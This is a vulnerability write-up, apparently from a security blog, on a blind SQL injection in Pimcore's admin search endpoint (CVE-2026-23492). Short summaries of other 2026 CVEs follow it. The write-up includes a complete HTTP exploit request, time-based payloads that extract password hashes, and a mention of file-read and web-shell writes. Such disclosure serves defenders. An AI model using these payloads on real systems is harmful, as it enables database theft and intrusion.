Feb 19, 2026·6 min read·53 visits
Pimcore's patch for a previous SQLi failed spectacularly. By hiding database errors and stripping `--` comments, they merely forced attackers to use Blind SQL injection techniques. Authenticated admins can still dump the database.
A high-severity Blind SQL Injection vulnerability in the Pimcore Admin interface resulting from a botched patch for a previous issue (CVE-2023-30848). Developers attempted to fix the original SQL injection by blacklisting comment characters and suppressing database errors with a try-catch block. This inadvertently converted an Error-Based SQLi into a Blind SQLi, allowing authenticated attackers to exfiltrate the entire database structure and contents using time-based or boolean-based payloads.
There is a special place in security hell for incomplete patches. You know the type: a developer sees a vulnerability report, panics, and applies a band-aid that covers the symptom but ignores the disease. CVE-2026-23492 is the poster child for this phenomenon.
Back in 2023, Pimcore—a massive enterprise data management platform—was hit with CVE-2023-30848, a nasty SQL injection in the Admin Search API. The developers rushed a fix. They patted themselves on the back, marked the ticket as 'Resolved,' and moved on. But they didn't actually fix the SQL injection; they just made it quieter.
Fast forward to 2026, and here we are. The vulnerability is back, wearing a fake mustache, and it's angrier than before. This isn't just a story about bad code; it's a masterclass in why 'sanitization' via str_replace and error suppression is the security equivalent of turning up the radio to drown out the sound of your car engine exploding.
To understand CVE-2026-23492, we have to look at the 'fix' for its predecessor. The original issue was in the findAction method of the SearchController. The application takes a fields parameter from the user and concatenates it directly into a SQL query string. Classically bad.
The developers' response to the original disclosure was two-fold:
The Filter: They added str_replace('--', '', $fields). Their logic was simple: 'If hackers can't use the SQL comment sequence (--), they can't truncate the query, so they can't inject.'
The Mute Button: They wrapped the query execution in a try-catch block for SyntaxErrorException. If the query failed (because a hacker broke the syntax), the app would simply throw a generic 'Check your arguments' error instead of leaking database details.
This is hilariously insufficient. SQL doesn't need comments to be valid; attackers can simply balance the parentheses. And while the try-catch block successfully stopped Error-Based SQL Injection (where we read data from error messages), it did absolutely nothing to stop the query from executing. It just turned the vulnerability into a Blind SQL Injection.
Let's look at the vulnerable code that shipped with the 'fix' for CVE-2023-30848. This snippet resides in bundles/AdminBundle/Controller/Searchadmin/SearchController.php.
// The "Secure" Version (CVE-2026-23492)
if (!empty($allParams['fields'])) {
$fields = $allParams['fields'];
// The band-aid: attempting to stop comments
$fields = str_replace('--', '', $fields);
foreach ($fields as $f) {
// Splitting by tilde, but $f is still user-controlled
$parts = explode('~', $f);
// ... logic that concatenates $parts into the query ...
}
}
// ... later ...
try {
// The execution
$hits = $searcherList->load();
} catch (SyntaxErrorException $syntaxErrorException) {
// The silencer
throw new \InvalidArgumentException('Check your arguments.');
}The vulnerability is the concatenation inside the loop (omitted for brevity, but it's there). The str_replace is trivial to bypass because we don't need comments if we construct a syntactically valid query. The catch block prevents us from seeing what broke, but if we inject SLEEP(10), the server still sleeps for 10 seconds. The code executes; it just doesn't complain loudly.
The real fix, applied in commit faf1168fb38bdba57e5c5cb7143997fca9b7680b, finally addresses the root cause by removing the ad-hoc concatenation entirely and validating field names against a strict schema.
Since we can't see the output (no error messages, no reflected data in the grid due to the query structure), we have to ask the database Yes/No questions or tell it to go to sleep. We'll use a Time-Based Blind approach.
The Setup:
We are an authenticated admin (or an attacker who hijacked an admin session). We target the /admin/search/find endpoint.
The Payload:
The application splits our input by ~. We need to inject into the field name. Since we can't use -- to ignore the rest of the query, we simply ensure our injection maintains valid SQL syntax for the surrounding query structure.
POST /admin/search/find HTTP/1.1
Host: target-pimcore.com
Cookie: PIMCORE_ADMIN_SID=...
Content-Type: application/x-www-form-urlencoded
fields[]=id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)The Execution:
id~AND (SELECT 1 FROM (SELECT(SLEEP(5)))a).str_replace looks for --. Finds none. Passes.SELECT * FROM objects WHERE field = id AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) ...SLEEP(5).Boom. We have confirmation. From here, we script sqlmap or write a custom Python script to bit-shift extract the admin password hash character by character: AND (SELECT IF(ORD(MID((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(2),0)).
Why does this matter? "It requires admin authentication!" I hear the apologists cry. Yes, it does. But in modern enterprise environments, "Admin" is often a tiered role. A low-level content editor might have access to the Search function but not the User Management settings.
With this vulnerability, that low-privileged editor can dump the entire database. They can extract:
Furthermore, because this is SQL injection, if the database user has FILE privileges (common in poor configurations), an attacker could read files off the disk (LOAD_FILE) or potentially write a web shell (INTO OUTFILE), turning a data leak into full Remote Code Execution (RCE).
Stop using str_replace for security. Just stop it. The mitigation is straightforward: Upgrade.
The patched versions replace the dynamic string building with proper query construction that essentially whitelists allowed fields or maps them strictly, ensuring that user input is never treated as executable SQL code.
If you cannot patch immediately (why?), you can attempt to block requests containing ~ AND SQL keywords (like SELECT, UNION, SLEEP) at your WAF level, but WAFs are notoriously bypassable. Patching is the only real cure.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Pimcore Pimcore | < 11.5.14 | 11.5.14 |
Pimcore Pimcore | >= 12.0.0-RC1, < 12.3.1 | 12.3.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-89 (SQL Injection) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (Authenticated) |
| Impact | Confidentiality, Integrity, Availability |
| EPSS Score | 0.00004 (Low Probability) |
| Fix Type | Vendor Patch (Code Refactoring) |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.
CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.
Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.
CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.